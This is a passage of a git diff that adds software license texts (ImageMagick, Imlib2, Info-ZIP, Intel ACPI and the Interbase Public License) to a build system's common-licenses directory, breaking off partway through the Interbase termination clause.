+ "The Graphics Interchange Format(c) is the Copyright property of CompuServe Incorporated. GIF(sm) is a Service Mark property of CompuServe Incorporated."
diff --git a/meta/files/common-licenses/ImageMagick b/meta/files/common-licenses/ImageMagick
new file mode 100644
index 0000000000..e627fd7b42
--- /dev/null
+++ b/meta/files/common-licenses/ImageMagick
@@ -0,0 +1,98 @@
+Before we get to the text of the license, lets just review what the license says in simple terms:
+
+It allows you to:
+
+ * freely download and use ImageMagick software, in whole or in part, for personal, company internal, or commercial purposes;
+ * use ImageMagick software in packages or distributions that you create;
+ * link against a library under a different license;
+ * link code under a different license against a library under this license;
+ * merge code into a work under a different license;
+ * extend patent grants to any code using code under this license;
+ * and extend patent protection.
+
+It forbids you to:
+
+ * redistribute any piece of ImageMagick-originated software without proper attribution;
+ * use any marks owned by ImageMagick Studio LLC in any way that might state or imply that ImageMagick Studio LLC endorses your distribution;
+ * use any marks owned by ImageMagick Studio LLC in any way that might state or imply that you created the ImageMagick software in question.
+
+It requires you to:
+
+ * include a copy of the license in any redistribution you may make that includes ImageMagick software;
+ * provide clear attribution to ImageMagick Studio LLC for any distributions that include ImageMagick software.
+
+It does not require you to:
+
+ * include the source of the ImageMagick software itself, or of any modifications you may have made to it, in any redistribution you may assemble that includes it;
+ * submit changes that you make to the software back to the ImageMagick Studio LLC (though such feedback is encouraged).
+
+A few other clarifications include:
+
+ * ImageMagick is freely available without charge;
+ * you may include ImageMagick on a DVD as long as you comply with the terms of the license;
+ * you can give modified code away for free or sell it under the terms of the ImageMagick license or distribute the result under a different license, but you need to acknowledge the use of the ImageMagick software;
+ * the license is compatible with the GPL V3.
+ * when exporting the ImageMagick software, review its export classification.
+
+Terms and Conditions for Use, Reproduction, and Distribution
+
+The legally binding and authoritative terms and conditions for use, reproduction, and distribution of ImageMagick follow:
+
+Copyright 1999-2013 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available.
+
+1. Definitions.
+
+License shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+Licensor shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.
+
+Legal Entity shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, control means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+You (or Your) shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+Source form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.
+
+Object form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.
+
+Work shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+Derivative Works shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.
+
+Contribution shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as Not a Contribution.
+
+Contributor shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
+2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+ a. You must give any other recipients of the Work or Derivative Works a copy of this License; and
+ b. You must cause any modified files to carry prominent notices stating that You changed the files; and
+ c. You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+ d. If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.
+
+You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an AS IS BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+How to Apply the License to your Work
+
+To apply the ImageMagick License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information (don't include the brackets). The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+ Copyright [yyyy] [name of copyright owner]
+
+ Licensed under the ImageMagick License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
+
+ http://www.imagemagick.org/script/license.php
+
+ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/Imlib2 b/meta/files/common-licenses/Imlib2
new file mode 100644
index 0000000000..9f9dfd2126
--- /dev/null
+++ b/meta/files/common-licenses/Imlib2
@@ -0,0 +1,9 @@
+Imlib2 License
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software and its Copyright notices. In addition publicly documented acknowledgment must be given that this software has been used if no source code of this software is made available publicly. Making the source available publicly means including the source for this software with the distribution, or a method to get this software via some reasonable mechanism (electronic transfer via a network or media) as well as making an offer to supply the source on request. This Copyright notice serves as an offer to supply the source on on request as well. Instead of this, supplying acknowledgments of use of this software in either Copyright notices, Manuals, Publicity and Marketing documents or any documentation provided with any product containing this software. This License does not apply to any software that links to the libraries provided by this software (statically or dynamically), but only to the software provided.
+
+Please see the COPYING-PLAIN for a plain-english explanation of this notice and its intent.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/Info-ZIP b/meta/files/common-licenses/Info-ZIP
new file mode 100644
index 0000000000..9067701bbb
--- /dev/null
+++ b/meta/files/common-licenses/Info-ZIP
@@ -0,0 +1,16 @@
+Info-ZIP License
+
+Copyright (c) 1990-2009 Info-ZIP. All rights reserved.
+
+For the purposes of this copyright and license, "Info-ZIP" is defined as the following set of individuals:
+
+ Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois, Jean-loup Gailly, Hunter Goatley, Ed Gordon, Ian Gorman, Chris Herborth, Dirk Haase, Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, David Kirschbaum, Johnny Lee, Onno van der Linden, Igor Mandrichenko, Steve P. Miller, Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, Kai Uwe Rommel, Steve Salisbury, Dave Smith, Steven M. Schweda, Christian Spieler, Cosmin Truta, Antoine Verheijen, Paul von Behren, Rich Wales, Mike White.
+
+This software is provided "as is," without warranty of any kind, express or implied. In no event shall Info-ZIP or its contributors be held liable for any direct, indirect, incidental, special or consequential damages arising out of the use of or inability to use this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the above disclaimer and the following restrictions:
+
+ * Redistributions of source code (in whole or in part) must retain the above copyright notice, definition, disclaimer, and this list of conditions.
+ * Redistributions in binary form (compiled executables and libraries) must reproduce the above copyright notice, definition, disclaimer, and this list of conditions in documentation and/or other materials provided with the distribution. Additional documentation is not needed for executables where a command line license option provides these and a note regarding this option is in the executable's startup banner. The sole exception to this condition is redistribution of a standard UnZipSFX binary (including SFXWiz) as part of a self-extracting archive; that is permitted without inclusion of this license, as long as the normal SFX banner has not been removed from the binary or disabled.
+ * Altered versions--including, but not limited to, ports to new operating systems, existing ports with new graphical interfaces, versions with modified or added functionality, and dynamic, shared, or static library versions not from Info-ZIP--must be plainly marked as such and must not be misrepresented as being the original source or, if binaries, compiled from the original source. Such altered versions also must not be misrepresented as being Info-ZIP releases--including, but not limited to, labeling of the altered versions with the names "Info-ZIP" (or any variation thereof, including, but not limited to, different capitalizations), "Pocket UnZip," "WiZ" or "MacZip" without the explicit permission of Info-ZIP. Such altered versions are further prohibited from misrepresentative use of the Zip-Bugs or Info-ZIP e-mail addresses or the Info-ZIP URL(s), such as to imply Info-ZIP will provide support for the altered versions.
+ * Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip," "UnZipSFX," "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its own source and binary releases.
diff --git a/meta/files/common-licenses/Intel-ACPI b/meta/files/common-licenses/Intel-ACPI
new file mode 100644
index 0000000000..e5cc5fd190
--- /dev/null
+++ b/meta/files/common-licenses/Intel-ACPI
@@ -0,0 +1,34 @@
+ACPI - Software License Agreement
+Software License Agreement IMPORTANT - READ BEFORE COPYING, INSTALLING OR USING.
+
+Do not use or load this software and any associated materials (collectively, the "Software") until you have carefully read the following terms and conditions. By loading or using the Software, you agree to the terms of this Agreement. If you do not wish to so agree, do not install or use the Software.
+
+1. COPYRIGHT NOTICE Some or all of this work - Copyright © 1999-2005, Intel Corp. All rights reserved.
+
+2. LICENSE
+
+ 2.1. This is your license from Intel Corp. under its intellectual property rights. You may have additional license terms from the party that provided you this software, covering your right to use that party's intellectual property rights.
+
+ 2.2. Intel grants, free of charge, to any person ("Licensee") obtaining a copy of the source code appearing in this file ("Covered Code") an irrevocable, perpetual, worldwide license under Intel's copyrights in the base code distributed originally by Intel ("Original Intel Code") to copy, make derivatives, distribute, use and display any portion of the Covered Code in any form, with the right to sublicense such rights; and
+
+ 2.3. Intel grants Licensee a non-exclusive and non-transferable patent license (with the right to sublicense), under only those claims of Intel patents that are infringed by the Original Intel Code, to make, use, sell, offer to sell, and import the Covered Code and derivative works thereof solely to the minimum extent necessary to exercise the above copyright license, and in no event shall the patent license extend to any additions to or modifications of the Original Intel Code. No other license or right is granted directly or by implication, estoppel or otherwise; The above copyright and patent license is granted only if the following conditions are met:
+
+3. CONDITIONS
+
+ 3.1. Redistribution of Source with Rights to Further Distribute Source. Redistribution of source code of any substantial portion of the Covered Code or modification with rights to further distribute source must include the above Copyright Notice, the above License, this list of Conditions, and the following Disclaimer and Export Compliance provision. In addition, Licensee must cause all Covered Code to which Licensee contributes to contain a file documenting the changes Licensee made to create that Covered Code and the date of any change. Licensee must include in that file the documentation of any changes made by any predecessor Licensee. Licensee must include a prominent statement that the modification is derived, directly or indirectly, from Original Intel Code.
+
+ 3.2. Redistribution of Source with no Rights to Further Distribute Source. Redistribution of source code of any substantial portion of the Covered Code or modification without rights to further distribute source must include the following Disclaimer and Export Compliance provision in the documentation and/or other materials provided with distribution. In addition, Licensee may not authorize further sublicense of source of any portion of the Covered Code, and must include terms to the effect that the license from Licensee to its licensee is limited to the intellectual property embodied in the software Licensee provides to its licensee, and not to intellectual property embodied in modifications its licensee may make.
+
+ 3.3. Redistribution of Executable. Redistribution in executable form of any substantial portion of the Covered Code or modification must reproduce the above Copyright Notice, and the following Disclaimer and Export Compliance provision in the documentation and/or other materials provided with the distribution.
+
+ 3.4. Intel retains all right, title, and interest in and to the Original Intel Code.
+
+ 3.5. Neither the name Intel nor any other trademark owned or controlled by Intel shall be used in advertising or otherwise to promote the sale, use or other dealings in products derived from or relating to the Covered Code without prior written authorization from Intel.
+
+4. DISCLAIMER AND EXPORT COMPLIANCE
+
+ 4.1. INTEL MAKES NO WARRANTY OF ANY KIND REGARDING ANY SOFTWARE PROVIDED HERE. ANY SOFTWARE ORIGINATING FROM INTEL OR DERIVED FROM INTEL SOFTWARE IS PROVIDED "AS IS," AND INTEL WILL NOT PROVIDE ANY SUPPORT, ASSISTANCE, INSTALLATION, TRAINING OR OTHER SERVICES. INTEL WILL NOT PROVIDE ANY UPDATES, ENHANCEMENTS OR EXTENSIONS. INTEL SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.
+
+ 4.2. IN NO EVENT SHALL INTEL HAVE ANY LIABILITY TO LICENSEE, ITS LICENSEES OR ANY OTHER THIRD PARTY, FOR ANY LOST PROFITS, LOST DATA, LOSS OF USE OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, OR FOR ANY INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THIS AGREEMENT, UNDER ANY CAUSE OF ACTION OR THEORY OF LIABILITY, AND IRRESPECTIVE OF WHETHER INTEL HAS ADVANCE NOTICE OF THE POSSIBILITY OF SUCH DAMAGES. THESE LIMITATIONS SHALL APPLY NOTWITHSTANDING THE FAILURE OF THE ESSENTIAL PURPOSE OF ANY LIMITED REMEDY.
+
+ 4.3. Licensee shall not export, either directly or indirectly, any of this software or system incorporating such software without first obtaining any required license or other approval from the U. S. Department of Commerce or any other agency or department of the United States Government. In the event Licensee exports any such software from the United States or re-exports any such software from a foreign destination, Licensee shall ensure that the distribution and export/re-export of the software is in compliance with all laws, regulations, orders, or other restrictions of the U.S. Export Administration Regulations. Licensee agrees that neither it nor any of its subsidiaries will export/re-export any technical data, process, software, or service, directly or indirectly, to any country for which the United States government or any agency thereof requires an export license, other governmental approval, or letter of assurance, without first obtaining such license, approval or letter.
diff --git a/meta/files/common-licenses/Interbase-1.0 b/meta/files/common-licenses/Interbase-1.0
new file mode 100644
index 0000000000..5a73f24c31
--- /dev/null
+++ b/meta/files/common-licenses/Interbase-1.0
@@ -0,0 +1,199 @@
+INTERBASE PUBLIC LICENSE
+Version 1.0
+
+1. Definitions.
+
+1.0.1. "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+1.1. ''Contributor'' means each entity that creates or contributes to the creation of Modifications.
+
+1.2. ''Contributor Version'' means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+1.3. ''Covered Code'' means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+1.4. ''Electronic Distribution Mechanism'' means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+1.5. ''Executable'' means Covered Code in any form other than Source Code.
+
+1.6. ''Initial Developer'' means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+1.7. ''Larger Work'' means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+1.8. ''License'' means this document.
+
+1.8.1. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+1.9. ''Modifications'' means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+B. Any new file that contains any part of the Original Code or previous Modifications.
+
+1.10. ''Original Code'' means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+1.10.1. "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+1.11. ''Source Code'' means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+1.12. "You'' (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+2.1. The Initial Developer Grant.
+
+The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+2.2. Contributor Grant.
+
+Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+
+ (c) the licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+3.1. Application of License.
+
+The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+3.2. Availability of Source Code.
+
+Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+3.3. Description of Modifications.
+
+You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+3.4. Intellectual Property Matters
+
+ (a) Third Party Claims.
+
+ If Contributor has knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL'' which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Contributor APIs.
+
+ If Contributor's Modifications include an application programming interface and Contributor has knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+
+ (c) Representations.
+
+ Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+3.5. Required Notices.
+
+You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+3.6. Distribution of Executable Versions.
+
+You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+3.7. Larger Works.
+
+You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+6.1. New Versions.
+
+Borland Software Corporation (''Interbase'') may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+6.2. Effect of New Versions.
+
+Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Interbase. No one other than Interbase has the right to modify the terms applicable to Covered Code created under this License.
+
+6.3. Derivative Works.
+
+If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases ''Mozilla'', ''MOZILLAPL'', ''MOZPL'', ''Netscape'', "MPL", ''NPL", "Interbase", "ISC", "IB'' or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the Mozilla Public License and Netscape Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+6.4 Origin of the Interbase Public License.
+
+The Interbase public license is based on the Mozilla Public License V 1.1 with the following changes:
+
+The license is published by Borland Software Corporation. Only Borland Software Corporation can modify the terms applicable to Covered Code.
+The license can be modified used for code which is not already governed by this license. Modified versions of the license must be renamed to avoid confusion with Netscape?s or Interbase Software?s license and must include a description of changes from the Interbase Public License.
+The name of the license in Exhibit A is the "Interbase Public License".
+The reference to an alternative license in Exhibit A has been removed.
+Amendments I, II, III, V, and VI have been deleted.
+Exhibit A, Netscape Public License has been deleted
+A new amendment (II) has been added, describing the required and restricted rights to use the trademarks of Borland Software Corporation
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS'' BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+8.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+8.2. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+
+ (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+
+ (b) any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
